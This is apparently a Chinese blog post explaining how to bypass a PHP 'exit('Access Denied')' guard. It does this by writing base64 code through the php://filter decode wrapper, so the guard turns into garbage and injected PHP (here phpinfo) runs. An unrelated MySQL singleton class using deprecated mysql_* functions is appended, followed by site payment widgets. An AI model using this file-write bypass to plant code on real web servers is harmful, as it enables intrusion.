绕过 <?PHP exit(’Access Denied’); ?> 限制

绕过 <?PHP exit(’Access Denied’); ?> 限制
<?php
$shellcode=’PD9waHBpbmZvKCk7Pz4’;//   base64_decode <?phpinfo();?>
$endstr=’s’;
$timestamp=$endstr.$shellcode;
file_put_contents("php://filter/write=convert.base64-decode/resource=ryat.php","<?PHP exit(’Access Denied’); ?>\t$timestamp");
?>
利用base64产生乱码可以生成:
<s奁+@q乾? 鏩<?phpinfo();?>
就绕过了exit()限制,真厉害呀

<?php defined('ACC')||exit('Access Denied'); // 封装mysql操作类,包括连接功能,及查询功能. class mysql extends absdb{   protected static $ins = null;   protected $host;  // 主机名   protected $user;  // 用户名   protected $passwd; // 密码   protected $db;      // 数据库名   protected $port;    // 端口   protected $conn = null;   // 在内部操作,获得一个对象   public static function getIns() {     if(self::$ins === null) {       self::$ins = new self();     }     $conf = conf::getIns();     self::$ins->host = $conf->host;     self::$ins->user = $conf->user;     self::$ins->passwd = $conf->pwd;     self::$ins->db = $conf->db;     self::$ins->port = $conf->port;     self::$ins->connect();     self::$ins->select_db();     self::$ins->setChar();     return self::$ins;   }   // 不让外部做new操作,   protected function __construct() {   }   // 连接数据库   public function connect() {     $this->conn = @mysql_connect($this->host,$this->user,$this->passwd,$this->port);     if(!$this->conn) {       $error = new Exception('数据库连不上',9);       throw $error;     }   }   // 发送sql查询   public function query($sql) {     $rs = mysql_query($sql,$this->conn);     if(!$rs) {       log::write($sql);     }     return $rs;   }这是一个单例模式实现mysql的PHP类,需要的朋友可以下载使用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值